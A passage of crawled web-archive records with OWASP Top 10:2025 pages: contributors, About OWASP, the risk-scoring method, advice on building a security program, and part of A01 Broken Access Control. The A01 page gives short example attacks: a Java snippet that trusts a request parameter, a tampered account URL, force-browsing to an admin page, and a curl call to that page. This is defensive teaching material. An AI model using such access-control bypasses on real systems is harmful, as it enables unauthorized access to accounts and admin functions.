tests to be automated and run against a large population of applications. Everything we find is looking back in the past and might be missing trends from the last year, which are not present in the data.\n\nTherefore, we only pick eight of the ten categories from the data because it's incomplete. The other two categories are from the Top 10 community survey. It allows the practitioners on the front lines to vote for what they see as the highest risks that might not be in the data (and may never be expressed in data).\n\n## Thank you to our data contributors\n\nThe following organizations (along with several anonymous donors) kindly donated data for over 2.8 millions applications to make this the largest and most comprehensive application security data set. Without you, this would not be possible.\n\n- Accenture (Prague)\n- Anonymous (multiple)\n- Bugcrowd\n- Contrast Security\n- CryptoNet Labs\n- Intuitor SoftTech Services\n- Orca Security\n- Probely\n- Semgrep\n- Sonar\n- usd AG\n- Veracode\n- Wallarm\n\n## Lead Authors\n\n- Andrew van der Stock - X: [@vanderaj](https://x.com/vanderaj)\n- Brian Glas - X: [@infosecdad](https://x.com/infosecdad)\n- Neil Smithline - X: [@appsecneil](https://x.com/appsecneil)\n- Tanya Janca - X: [@shehackspurple](https://x.com/shehackspurple)\n- Torsten Gigler - Mastodon: [@[email protected]](https://infosec.exchange/@torsten_gigler)\n\n## Log issues and pull requests\n\nPlease log any corrections or issues:\n\n### Project links:\n\n- [Homepage](https://owasp.org/www-project-top-ten/)\n- [GitHub repository](https://github.com/OWASP/Top10)", "znaku_textu": 14647, "slov": 2196, "odkazu": 38, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-13 21:17:28", "sha256": "9818aa710520400313a73780c7ddde6eb246f1f41830fb997424cfb41bb6c717", "hloubka": 1, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/Top10", "https://cwe.mitre.org/", "https://x.com/vanderaj", "https://x.com/infosecdad", "https://x.com/appsecneil", "https://x.com/shehackspurple", "https://infosec.exchange/@torsten_gigler", "http://creativecommons.org/licenses/by/3.0/deed.en_US", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/Top10/2025/0x01_2025-About_OWASP/", "titulek": "About OWASP - OWASP Top 10:2025", "h1": "About OWASP", "popis": "OWASP Top 10:2025", "klicova_slova": "", "kanonicka": "https://owasp.org/Top10/2025/0x01_2025-About_OWASP/", "jazyk": "en", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "About OWASP"}, {"uroven": 2, "text": "Copyright and License"}], "markdown": "# About OWASP\n\nThe Open Worldwide Application Security Project (OWASP) is an open community dedicated to enabling organizations to develop, purchase, and maintain applications and APIs that can be trusted.\n\nAt OWASP, you'll find free and open:\n\n- Application security tools and standards\n- Cutting edge research\n- Standard security controls and libraries\n- Complete books on application security testing, secure code development, and secure code review\n- Presentations and [videos](https://www.youtube.com/user/OWASPGLOBAL)\n- [Cheat sheets](https://cheatsheetseries.owasp.org/) on many common topics\n- [Chapters meetings](https://owasp.org/chapters/) held worldwide and online\n- [Events, training, and conferences](https://owasp.org/events/) .\n- [Google Groups](https://groups.google.com/g/owasp)\n\nLearn more at: [https://owasp.org](https://owasp.org).\n\nAll OWASP tools, documents, videos, presentations, and chapters are free and open to anyone interested in improving application security.\n\nWe advocate approaching application security as a people, process, and technology problem, because the most effective approaches to application security require improvements in all these areas.\n\nOWASP is a different kind of organization. Our freedom from commercial pressures allows us to provide unbiased, practical, and cost-effective information about application security.\n\nOWASP is not affiliated with any technology company, although we support the informed use of commercial security technology. OWASP produces many types of materials in a collaborative, transparent, and open way.\n\nThe OWASP Foundation is the non-profit entity that ensures the project's long-term success. Almost everyone associated with OWASP is a volunteer, including the OWASP board, chapter leaders, project leaders, and project members. We support innovative security research with grants and infrastructure.\n\nJoin us!\n\n## Copyright and License\n\nCopyright © 2003-2025 The OWASP® Foundation, Inc. This document is released under the Creative Commons Attribution Share-Alike 4.0 license. For any reuse or distribution, you must make it clear to others the license terms of this work.", "znaku_textu": 2130, "slov": 276, "odkazu": 35, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-13 21:17:29", "sha256": "18328ef409fc1e529bf5db039eb2d88f9359a99e3e9f1b7cf9be976b5ea6222c", "hloubka": 1, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/Top10", "https://www.youtube.com/user/OWASPGLOBAL", "https://cheatsheetseries.owasp.org/", "https://groups.google.com/g/owasp", "http://creativecommons.org/licenses/by/3.0/deed.en_US", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/Top10/2025/0x02_2025-What_are_Application_Security_Risks/", "titulek": "What are Application Security Risks? - OWASP Top 10:2025", "h1": "What are Application Security Risks?", "popis": "OWASP Top 10:2025", "klicova_slova": "", "kanonicka": "https://owasp.org/Top10/2025/0x02_2025-What_are_Application_Security_Risks/", "jazyk": "en", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "What are Application Security Risks?"}, {"uroven": 2, "text": "How the data is used for selecting categories and ranking them"}, {"uroven": 2, "text": "Data Factors"}], "markdown": "# What are Application Security Risks?\n\nAttackers can potentially use many different paths through your application to do harm to your business or organization. Each of these ways poses a potential risk that needs to be investigated.\n\n| **Threat Agents** | **Attack \\\nVectors** | **Exploitability** | **Likelihood of Missing Security** **Controls** | **Technical** **Impacts** | **Business** **Impacts** |\n| --- | --- | --- | --- | --- | --- |\n| **By environment, \\\ndynamic by situation picture** | **By Application exposure (by environment)** | **Avg Weighted Exploit** | **Missing Controls \\\nby average Incidence rate \\\nWeighed by coverage** | **Avg Weighted Impact** | **By Business** |\n\nIn our Risk Rating we have taken into account the universal parameters of exploitability, average likelihood of missing security controls for a weakness and its technical impacts.\n\nEach organization is unique, and so are the threat actors for that organization, their goals, and the impact of any breach. If a public interest organization uses a content management system (CMS) for public information and a health system uses that same exact CMS for sensitive health records, the threat actors and business impacts can be very different for the same software. It is critical to understand the risk to your organization based on the exposure of the application, the applicable threat agents by situation picture (for targeted and undirected attacks by business and location) and the individual business impacts.\n\n## How the data is used for selecting categories and ranking them\n\nIn 2017, we selected categories by incidence rate to determine likelihood, then ranked them by team discussion based on decades of experience for Exploitability, Detectability (also likelihood), and Technical Impact. For 2021, we used data for Exploitability and (Technical) Impact from the CVSSv2 and CVSSv3 scores in the National Vulnerability Database (NVD). For 2025, we continued the same methodology that we created in 2021.\n\nWe downloaded OWASP Dependency Check and extracted the CVSS Exploit, and Impact scores grouped by related CWEs. It took a fair bit of research and effort as all the CVEs have CVSSv2 scores, but there are flaws in CVSSv2 that CVSSv3 should address. After a certain point in time, all CVEs are assigned a CVSSv3 score as well. Additionally, the scoring ranges and formulas were updated between CVSSv2 and CVSSv3.\n\nIn CVSSv2, both Exploit and (Technical) Impact could be up to 10.0, but the formula would knock them down to 60% for Exploit and 40% for Impact. In CVSSv3, the theoretical max was limited to 6.0 for Exploit and 4.0 for Impact. With the weighting considered, the Impact scoring shifted higher, almost a point and a half on average in CVSSv3, and exploitability moved nearly half a point lower on average when we conducted analysis for the 2021 Top Ten.\n\nThere are approximately 175k records (up from 125k in 2021) of CVEs mapped to CWEs in the National Vulnerability Database (NVD), extracted from OWASP Dependency Check. Additionally, there are 643 unique CWEs mapped to CVEs (up from 241 in 2021). Within the nearly 220k CVEs that were extracted, 160k had CVSS v2 scores, 156k had CVSS v3 scores, and 6k had CVSS v4 scores. Many CVEs have multiple scores, which is why they total more than 220k.\n\nFor the Top Ten 2025, we calculated average exploit and impact scores in the following manner. We grouped all the CVEs with CVSS scores by CWE and weighted both exploit and impact scores by the percentage of the population that had CVSSv3, as well as the remaining population with CVSSv2 scores, to get an overall average. We mapped these averages to the CWEs in the dataset to use as Exploit and (Technical) Impact scoring for the other half of the risk equation.\n\nWhy not use CVSS v4.0, you may ask? That’s because the scoring algorithm was fundamentally changed, and it no longer easily provides the *Exploit* or *Impact* scores as CVSSv2 and CVSSv3 do. We will attempt to figure out a way to use CVSS v4.0 scoring for future versions of the Top Ten, but we were unable to determine a timely way to do so for the 2025 edition.\n\nFor the incidence rate, we calculated the percentage of applications vulnerable to each CWE from the population tested by an org for a period of time. As a reminder, we are not using frequency (or how many times an issue appears in an application), we are interested in what percentage of the population of applications were found to have each CWE.\n\nFor coverage we look at the percentage of applications tested by all organizations for a given CWE. The higher the calculated coverage, the stronger the assurance that the incidence rate is accurate as the sample size is more representative of the population.\n\nThe formula that we used for this iteration is similar to 2021, with some weighting changes:\n(Max Incidence Rate % * 1000) + (Max Coverage % * 100) + (Avg Exploit * 10) + (Avg Impact * 20) + (Sum Occurrences / 10000) = Risk Score\n\nThe calculated scores ranged from 621.60 for the category of Broken Access Control to 271.08 for Memory Management Errors.\n\nThis is not a perfect system, but it is valuable for ranking risk categories.\n\nOne additional challenge that is growing is the definition of an \"application\". As the industry shifts to different architectures that consist of micro-services and other implementations that are smaller than a traditional application, calculations are more difficult. For instance, if an organization is testing code repositories, what does it consider an application? Similar to the growth of CVSSv4, the next edition of the Top Ten may need to adjust the analysis and scoring to account for a constantly changing industry.\n\n## Data Factors\n\nThere are data factors that are listed for each of the Top Ten Categories, here is what they mean:\n\n**CWEs Mapped:** The number of CWEs mapped to a category by the Top Ten team.\n\n**Incidence Rate:** Incidence rate is the percentage of applications vulnerable to that CWE from the population tested by that org for that year.\n\n**Weighted Exploit:** The Exploit sub-score from CVSSv2 and CVSSv3 scores assigned to CVEs mapped to CWEs, normalized, and placed on a 10pt scale.\n\n**Weighted Impact:** The Impact sub-score from CVSSv2 and CVSSv3 scores assigned to CVEs mapped to CWEs, normalized, and placed on a 10pt scale.\n\n**(Testing) Coverage:** The percentage of applications tested by all organizations for a given CWE.\n\n**Total Occurrences:** Total number of applications found to have the CWEs mapped to a category.\n\n**Total CVEs:** Total number of CVEs in the NVD DB that were mapped to the CWEs mapped to a category.\n\n**Formula:** (Max Incidence Rate % * 1000) + (Max Coverage % * 100) + (Avg Exploit * 10) + (Avg Impact * 20) + (Sum Occurrences / 10000) = Risk Score", "znaku_textu": 6606, "slov": 1103, "odkazu": 30, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-13 21:17:30", "sha256": "b3f4afdf7d19fc98d5fad2ee264f491240f560ce54351d933e78777f93b15f78", "hloubka": 1, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/Top10", "http://creativecommons.org/licenses/by/3.0/deed.en_US", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/Top10/2025/0x03_2025-Establishing_a_Modern_Application_Security_Program/", "titulek": "Establishing a Modern Application Security Program - OWASP Top 10:2025", "h1": "Establishing a Modern Application Security Program", "popis": "OWASP Top 10:2025", "klicova_slova": "", "kanonicka": "https://owasp.org/Top10/2025/0x03_2025-Establishing_a_Modern_Application_Security_Program/", "jazyk": "en", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "Establishing a Modern Application Security Program"}, {"uroven": 3, "text": "1. Establish a Risk Based Portfolio Approach:"}, {"uroven": 3, "text": "2. Enable with a Strong Foundation:"}, {"uroven": 3, "text": "3. Integrate Security into Existing Processes:"}, {"uroven": 3, "text": "4. Application Security Education:"}, {"uroven": 3, "text": "5. Provide Management Visibility:"}, {"uroven": 2, "text": "Establish & Use Repeatable Security Processes and Standard Security Controls"}, {"uroven": 3, "text": "Requirements and Resource Management Phase:"}, {"uroven": 3, "text": "Request for Proposals (RFP) and Contracting:"}, {"uroven": 3, "text": "Planning and Design Phase:"}, {"uroven": 3, "text": "Secure Development Lifecycle:"}, {"uroven": 3, "text": "Establish Continuous Application Security Testing:"}, {"uroven": 3, "text": "Rollout:"}, {"uroven": 3, "text": "Operations and Change Management:"}, {"uroven": 3, "text": "Retiring Systems:"}, {"uroven": 2, "text": "Using the OWASP Top 10 as a standard"}], "markdown": "# Establishing a Modern Application Security Program\n\nThe OWASP Top Ten lists are awareness documents, meant to bring awareness to the most critical risks of whichever topic they cover. They are not meant to be a complete list, only a starting place. In previous versions of this list we have prescribed starting an application security program as the best way to avoid these risks, and more. In this section we will cover how to start and build a modern application security program.\n\nIf you already have an application security program, consider performing a maturity assessment on it using [OWASP SAMM (Software Assurance Maturity Model)](https://owasp.org/www-project-samm/) or DSOMM (DevSecOps Maturity Model). These maturity models are comprehensive and exhaustive and can be used to help you figure out where you should best focus your efforts for expanding and maturing your program. Please note: you do not need to do everything in OWASP SAMM or DSOMM to be doing a good job, they are meant to guide you and offer many options. They are not meant to offer unattainable standards or describe unaffordable programs. They are expansive in order to offer you many ideas and options.\n\nIf you are starting a program from scratch, or you find OWASP SAMM or DSOMM ‘too much’ for your team right now, please review the following advice.\n\n### 1. Establish a Risk Based Portfolio Approach:\n\n- Identify the protection needs of your application portfolio from a business perspective. This should be driven in part by privacy laws and other regulations relevant to the data asset being protected.\n- Establish a [common risk rating model](https://owasp.org/www-community/OWASP_Risk_Rating_Methodology) with a consistent set of likelihood and impact factors reflective of your organization’s tolerance for risk.\n- Accordingly measure and prioritize all your applications and APIs. Add the results to your [Configuration Management Database (CMDB)](https://de.wikipedia.org/wiki/Configuration_Management_Database).\n- Establish assurance guidelines to properly define coverage and level of rigor required.\n\n### 2. Enable with a Strong Foundation:\n\n- Establish a set of focused policies and standards that provide an application security baseline for all development teams to adhere to.\n- Define a common set of reusable security controls that complement these policies and standards and provide design and development guidance on their use.\n- Establish an application security training curriculum that is required and targeted to different development roles and topics.\n\n### 3. Integrate Security into Existing Processes:\n\n- Define and integrate secure implementation and verification activities into existing development and operational processes.\n- Activities include threat modeling, secure design and design review, secure coding and code review, penetration testing, and remediation.\n- Provide subject matter experts and support services for development and project teams to be successful.\n- Review your current system development life cycle and all software security activities, tooling, policies, and processes, then document them.\n- For new software, add one or more security activities to each phase of the system development life cycle (SDLC). Below we offer many suggestions of what you can do below. Ensure you perform these new activities on every new project or software initiative, this way you will know each new piece of software will be delivered at an acceptable security posture for your organizations.\n- Select your activities to ensure your final product meets an acceptable level of risk for your organization.\n- For existing software (sometimes called legacy) you will want to have a formal maintenance plan, please look below for ideas of how to maintain secure applications in the section called 'Operations and Change Management'.\n\n### 4. Application Security Education:\n\n- Consider starting a security champion program, or general security education program for your developers (sometimes called an advocacy or security awareness program), to teach them everything you wish they would know. This will keep them up to date, help them know how to do their work securely, and make the security culture where you work more positive. It often also improves trust between the teams and makes for a happier working relationship. OWASP supports you in this with the [OWASP Security Champions Guide](https://securitychampions.owasp.org/), which is being expanded step by step.\n- The OWASP Education Project provides training materials to help educate developers on web application security. For hands-on learning about vulnerabilities, try the [OWASP Juice Shop Project](https://owasp.org/www-project-juice-shop/), or [OWASP WebGoat](https://owasp.org/www-project-webgoat/). To stay current, come to an [OWASP AppSec Conference](https://owasp.org/events/), [OWASP Conference Training](https://owasp.org/events/), or local [OWASP Chapter](https://owasp.org/chapters/) meetings.\n\n### 5. Provide Management Visibility:\n\n- Manage with metrics. Drive improvement and funding decisions based on the metrics and analysis data captured. Metrics include adherence to security practices and activities, vulnerabilities introduced, vulnerabilities mitigated, application coverage, defect density by type and instance counts, etc.\n- Analyze data from the implementation and verification activities to look for root cause and vulnerability patterns to drive strategic and systemic improvements across the enterprise. Learn from mistakes and offer positive incentives to promote improvements.\n\n## Establish & Use Repeatable Security Processes and Standard Security Controls\n\n### Requirements and Resource Management Phase:\n\n- Collect and negotiate the business requirements for an application with the business, including the protection requirements with regard to confidentiality, authenticity, integrity and availability of all data assets, and the expected business logic.\n- Compile the technical requirements including functional and nonfunctional security requirements. OWASP recommends you use the [OWASP Application Security Verification Standard (ASVS)](https://owasp.org/www-project-application-security-verification-standard/) as a guide for setting the security requirements for your application(s).\n- Plan and negotiate the budget that covers all aspects of design, build, testing and operation, including security activities.\n- Add security activities to your project schedule.\n- Introduce yourself as the security representative at the project kick off, so they know who to talk to.\n\n### Request for Proposals (RFP) and Contracting:\n\n- Negotiate the requirements with internal or external developers, including guidelines and security requirements with respect to your security program, e.g. SDLC, best practices.\n- Rate the fulfillment of all technical requirements, including a planning and design phase.\n- Negotiate all technical requirements, including design, security, and service level agreements (SLA).\n- Adopt templates and checklists, such as [OWASP Secure Software Contract Annex](https://owasp.org/www-community/OWASP_Secure_Software_Contract_Annex).\n**Note:** *The annex is for US contract law, so please consult qualified legal advice before using the sample annex.*\n\n### Planning and Design Phase:\n\n- Negotiate planning and design with the developers and internal shareholders, e.g. security specialists.\n- Define the security architecture, controls, countermeasures and design reviews appropriate to the protection needs and the expected threat level. This should be supported by security specialists.\n- Rather than retrofitting security into your applications and APIs, it is far more cost effective to design the security in from the start. OWASP recommends the [OWASP Cheat Sheets](https://cheatsheetseries.owasp.org/index.html) and the [OWASP Proactive Controls](https://top10proactive.owasp.org/) as a good starting point for guidance on how to design security included from the beginning.\n- Perform threat modelling, see [OWASP Cheat Sheet: Threat Modeling](https://cheatsheetseries.owasp.org/cheatsheets/Threat_Modeling_Cheat_Sheet.html).\n- Teach your software architects secure design concepts and patterns and ask them to add them to their designs where possible.\n- Examine data flows with your developers.\n- Add security user stories alongside all of your other user stories.\n\n### Secure Development Lifecycle:\n\n- To improve the process your organization follows when building applications and APIs, OWASP recommends the [OWASP Software Assurance Maturity Model (SAMM)](https://owasp.org/www-project-samm/). This model helps organizations formulate and implement a strategy for software security that is tailored to the specific risks facing their organization.\n- Provide secure coding training to your software developers, and any other training you think will help them create more robust and secure applications.\n- Code review, see [OWASP Cheat Sheet: Secure Code Review](https://cheatsheetseries.owasp.org/cheatsheets/Secure_Code_Review_Cheat_Sheet.html).\n- Give your developers security tools, then teach them how to use them, especially static analysis, software composition analysis, secret, and [Infrastructure-as-Code (IaC)](https://cheatsheetseries.owasp.org/cheatsheets/Infrastructure_as_Code_Security_Cheat_Sheet.html) scanners.\n- Create guardrails for your developers, if possible (technical safeguards to steer them towards more secure choices).\n- Building strong and usable security controls is difficult. Offer secure defaults whenever possible, and create ‘paved roads’ (making the easiest way also the most secure way to do something, the obvious preferred way) whenever possible. The [OWASP Cheat Sheets](https://cheatsheetseries.owasp.org/index.html) are a good starting point for developers, and many modern frameworks now come with standard and effective security controls for authorization, validation, CSRF prevention, etc.\n- Give your developers security-related IDE plugins and encourage them to use them.\n- Provide them a secret management tool, licenses, and documentation on how to use it.\n- Provide them a private AI to use, ideally set up with a RAG server full of useful security documentation, prompts your team has written for better outcomes, and an MCP server that calls the security tooling of choice for your org. Teach them how to use AI safely, because they are going to do it whether you like it or not.\n\n### Establish Continuous Application Security Testing:\n\n- Test the technical functions and integration with the IT architecture and coordinate business tests.\n- Create “use” and “abuse” test cases from technical and business perspectives.\n- Manage security tests according to internal processes, the protection needs, and the assumed threat level by the application.\n- Provide security testing tools (fuzzers, DAST, etc.), a safe place to test, and training on how to use them, OR do the testing for them OR hire a tester\n- If you require a high level of assurance, consider a formal penetration test, as well as stress testing and performance testing.\n- Work with your developers to help them decide what they need to fix from the bug reports, and ensure their managers give them time to do it.\n\n### Rollout:\n\n- Put the application in operation and migrate from previously used applications if needed.\n- Finalize all documentation, including the change management database (CMDB) and security architecture.\n\n### Operations and Change Management:\n\n- Operations must include guidelines for the security management of the application (e.g. patch management).\n- Raise the security awareness of users and manage conflicts about usability vs. security.\n- Plan and manage changes, e.g. migrate to new versions of the application or other components like OS, middleware, and libraries.\n- Ensure all apps are in your inventory, with all important details documented. Update all documentation, including in the CMDB and the security architecture, controls, and countermeasures, including any runbooks or project documentation.\n- Perform logging, monitoring, and alerting for all apps. Add it if it’s missing.\n- Create processes for effective and efficient updating and patching.\n- Create regular scanning schedules (hopefully dynamic, static, secrets, IaC, and software composition analysis).\n- SLAs for fixing security bugs.\n- Provide a way for employees (and ideally also your customers) to report bugs.\n- Establish a trained incident response team that understands what software attacks look like, observability tooling.\n- Run blocking or shielding tools to stop automated attacks.\n- Annual (or more often) hardening of configurations.\n- At least annual penetration testing (depending upon the level assurance required for your app).\n- Establish processes and tooling for hardening and protecting your software supply chain.\n- Establish and update business continuity and disaster recovery planning that includes your most important applications and the tools you use to maintain them.\n\n### Retiring Systems:\n\n- Any required data should be archived. All other data should be securely wiped.\n- Securely retire the application, including deleting unused accounts and roles and permissions.\n- Set your application’s state to retired in the CMDB.\n\n## Using the OWASP Top 10 as a standard\n\nThe OWASP Top 10 is primarily an awareness document. However, this has not stopped organizations from using it as a de facto industry AppSec standard since its inception in 2003. If you want to use the OWASP Top 10 as a coding or testing standard, know that it is the bare minimum and just a starting point.\n\nOne of the difficulties of using the OWASP Top 10 as a standard is that we document AppSec risks, and not necessarily easily testable issues. For example, [A06:2025-Insecure Design](../A06_2025-Insecure_Design/) is beyond the scope of most forms of testing. Another example is testing whether in-place, in-use, and effective logging and monitoring are implemented, which can only be done with interviews and requesting a sampling of effective incident responses. A static code analysis tool can look for the absence of logging, but it might be impossible to determine if business logic or access control is logging critical security breaches. Penetration testers may only be able to determine that they have invoked incident response in a test environment, which is rarely monitored in the same way as production.\n\nHere are our recommendations for when it is appropriate to use the OWASP Top 10:\n\n| **Use Case** | **OWASP Top 10 2025** | **OWASP Application Security Verification Standard** |\n| --- | --- | --- |\n| Awareness | Yes | |\n| Training | Entry level | Comprehensive |\n| Design and architecture | Occasionally | Yes |\n| Coding standard | Bare minimum | Yes |\n| Secure Code review | Bare minimum | Yes |\n| Peer review checklist | Bare minimum | Yes |\n| Unit testing | Occasionally | Yes |\n| Integration testing | Occasionally | Yes |\n| Penetration testing | Bare minimum | Yes |\n| Tool support | Bare minimum | Yes |\n| Secure Supply Chain | Occasionally | Yes |\n\nWe would encourage anyone wanting to adopt an application security standard to use the [OWASP Application Security Verification Standard](https://owasp.org/www-project-application-security-verification-standard/) (ASVS), as it’s designed to be verifiable and tested, and can be used in all parts of a secure development lifecycle.\n\nThe ASVS is the only acceptable choice for tool vendors. Tools cannot comprehensively detect, test, or protect against the OWASP Top 10 due to the nature of several of the OWASP Top 10 risks, with reference to [A06:2025-Insecure Design](../A06_2025-Insecure_Design/). OWASP discourages any claims of full coverage of the OWASP Top 10, because it’s simply untrue.", "znaku_textu": 15578, "slov": 2189, "odkazu": 58, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-13 21:17:32", "sha256": "909fe2203837a2f4981a52f6f392134a18ac1a37a53850d03fc319fe340f84f7", "hloubka": 1, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/Top10", "https://de.wikipedia.org/wiki/Configuration_Management_Database", "https://securitychampions.owasp.org/", "https://cheatsheetseries.owasp.org/index.html", "https://top10proactive.owasp.org/", "https://cheatsheetseries.owasp.org/cheatsheets/Threat_Modeling_Cheat_Sheet.html", "https://cheatsheetseries.owasp.org/cheatsheets/Secure_Code_Review_Cheat_Sheet.html", "https://cheatsheetseries.owasp.org/cheatsheets/Infrastructure_as_Code_Security_Cheat_Sheet.html", "http://creativecommons.org/licenses/by/3.0/deed.en_US", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/Top10/2025/A01_2025-Broken_Access_Control/", "titulek": "A01 Broken Access Control - OWASP Top 10:2025", "h1": "A01:2025 Broken Access Control", "popis": "OWASP Top 10:2025", "klicova_slova": "", "kanonicka": "https://owasp.org/Top10/2025/A01_2025-Broken_Access_Control/", "jazyk": "en", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "A01:2025 Broken Access Control"}, {"uroven": 2, "text": "Background."}, {"uroven": 2, "text": "Score table."}, {"uroven": 2, "text": "Description."}, {"uroven": 2, "text": "How to prevent."}, {"uroven": 2, "text": "Example attack scenarios."}, {"uroven": 2, "text": "References."}, {"uroven": 2, "text": "List of Mapped CWEs"}], "markdown": "# A01:2025 Broken Access Control\n\n## Background.\n\nMaintaining its position at #1 in the Top Ten, 100% of the applications tested were found to have some form of broken access control. Notable CWEs included are *CWE-200: Exposure of Sensitive Information to an Unauthorized Actor*, *CWE-201: Exposure of Sensitive Information Through Sent Data*, *CWE-918 Server-Side Request Forgery (SSRF)*, and *CWE-352: Cross-Site Request Forgery (CSRF)*. This category has the highest number of occurrences in the contributed data, and second highest number of related CVEs.\n\n## Score table.\n\n| CWEs Mapped | Max Incidence Rate | Avg Incidence Rate | Max Coverage | Avg Coverage | Avg Weighted Exploit | Avg Weighted Impact | Total Occurrences | Total CVEs |\n| --- | --- | --- | --- | --- | --- | --- | --- | --- |\n| 40 | 20.15% | 3.74% | 100.00% | 42.93% | 7.04 | 3.84 | 1,839,701 | 32,654 |\n\n## Description.\n\nAccess control enforces policy such that users cannot act outside of their intended permissions. Failures typically lead to unauthorized information disclosure, modification or destruction of all data, or performing a business function outside the user's limits. Common access control vulnerabilities include:\n\n- Violation of the principle of least privilege, commonly known as deny by default, where access should only be granted for particular capabilities, roles, or users, but is available to anyone.\n- Bypassing access control checks by modifying the URL (parameter tampering or force browsing), internal application state, or the HTML page, or by using an attack tool that modifies API requests.\n- Permitting viewing or editing someone else's account by providing its unique identifier (insecure direct object references)\n- An accessible API with missing access controls for POST, PUT, and DELETE.\n- Elevation of privilege. Acting as a user without being logged in or or gaining privileges beyond those expected of the logged in user (e.g. admin access).\n- Metadata manipulation, such as replaying or tampering with a JSON Web Token (JWT) access control token, a cookie or hidden field manipulated to elevate privileges, or abusing JWT invalidation.\n- CORS misconfiguration allows API access from unauthorized or untrusted origins.\n- Force browsing (guessing URLs) to authenticated pages as an unauthenticated user or to privileged pages as a standard user.\n\n## How to prevent.\n\nAccess control is only effective when implemented in trusted server-side code or serverless APIs, where the attacker cannot modify the access control check or metadata.\n\n- Except for public resources, deny by default.\n- Implement access control mechanisms once and reuse them throughout the application, including minimizing Cross-Origin Resource Sharing (CORS) usage.\n- Model access controls should enforce record ownership rather than allowing users to create, read, update, or delete any record.\n- Unique application business limit requirements should be enforced by domain models.\n- Disable web server directory listing and ensure file metadata (e.g., .git) and backup files are not present within web roots.\n- Log access control failures, alert admins when appropriate (e.g., repeated failures).\n- Implement rate limits on API and controller access to minimize the harm from automated attack tooling.\n- Stateful session identifiers should be invalidated on the server after logout. Stateless JWT tokens should be short-lived to minimize the window of opportunity for an attacker. For longer-lived JWTs, consider using refresh tokens and following OAuth standards to revoke access.\n- Use well-established toolkits or patterns that provide simple, declarative access controls.\n\nDevelopers and QA staff should include functional access control in their unit and integration tests.\n\n## Example attack scenarios.\n\n**Scenario #1:** The application uses unverified data in an SQL call that is accessing account information:\n\n```\npstmt.setString(1, request.getParameter(\"acct\"));\nResultSet results = pstmt.executeQuery( );\n```\n\nAn attacker can simply modify the browser's 'acct' parameter to send any desired account number. If not correctly verified, the attacker can access any user's account.\n\n```\nhttps://example.com/app/accountInfo?acct=notmyacct\n```\n\n**Scenario #2:** An attacker simply forces browsers to target URLs. Admin rights are required for access to the admin page.\n\n```\nhttps://example.com/app/getappInfo\nhttps://example.com/app/admin_getappInfo\n```\n\nIf an unauthenticated user can access either page, it's a flaw. If a non-admin can access the admin page, this is a flaw.\n\n**Scenario #3:** An application puts all of their access control in their front-end. While the attacker cannot get to `https://example.com/app/admin_getappInfo` due to JavaScript code running in the browser, they can simply execute:\n\n```\n$ curl https://example.com/app/admin_getappInfo\n```\n\nfrom the command line.\n\n## References.\n\n- [OWASP Proactive Controls: C1: Implement Access Control](https://top10proactive.owasp.org/archive/2024/the-top-10/c1-accesscontrol/)\n- [OWASP Application Security Verification Standard: V8 Authorization](https://github.com/OWASP/ASVS/blob/master/5.0/en/0x17-V8-Authorization.md)\n- [OWASP Testing Guide: Authorization Testing](https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/05-Authorization_Testing/README)\n- [OWASP Cheat Sheet: Authorization](https://cheatsheetseries.owasp.org/cheatsheets/Authorization_Cheat_Sheet.html)\n- [PortSwigger: Exploiting CORS misconfiguration](https://portswigger.net/blog/exploiting-cors-misconfigurations-for-bitcoins-and-bounties)\n- [OAuth: Revoking Access](https://www.oauth.com/oauth2-servers/listing-authorizations/revoking-access/)\n\n## List of Mapped CWEs\n\n- [CWE-22 Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')](https://cwe.mitre.org/data/definitions/22.html)\n- [CWE-23 Relative Path Traversal](https://cwe.mitre.org/data/definitions/23.html)\n- [CWE-36 Absolute Path Traversal](https://cwe.mitre.org/data/definitions/36.html)\n- [CWE-59 Improper Link Resolution Before File Access ('Link Following')](https://cwe.mitre.org/data/definitions/59.html)\n- [CWE-61 UNIX Symbolic Link (Symlink) Following](https://cwe.mitre.org/data/definitions/61.html)\n- [CWE-65 Windows Hard Link](https://cwe.mitre.org/data/definitions/65.html)\n- [CWE-200 Exposure of Sensitive Information to an Unauthorized Actor](https://cwe.mitre.org/data/definitions/200.html)\n- [CWE-201 Exposure of Sensitive Information Through Sent Data](https://cwe.mitre.org/data/definitions/201.html)\n- [CWE-219 Storage of File with Sensitive Data Under Web Root](https://cwe.mitre.org/data/definitions/219.html)\n- [CWE-276 Incorrect Default Permissions](https://cwe.mitre.org/data/definitions/276.html)\n- [CWE-281 Improper Preservation of Permissions](https://cwe.mitre.org/data/definitions/281.html)\n- [CWE-282 Improper Ownership Management](https://cwe.mitre.org/data/definitions/282.html)\n- [CWE-283 Unverified Ownership](https://cwe.mitre.org/data/definitions/283.html)\n- [CWE-284 Improper Access Control](https://cwe.mitre.org/data/definitions/284.html)\n- [CWE-285 Improper 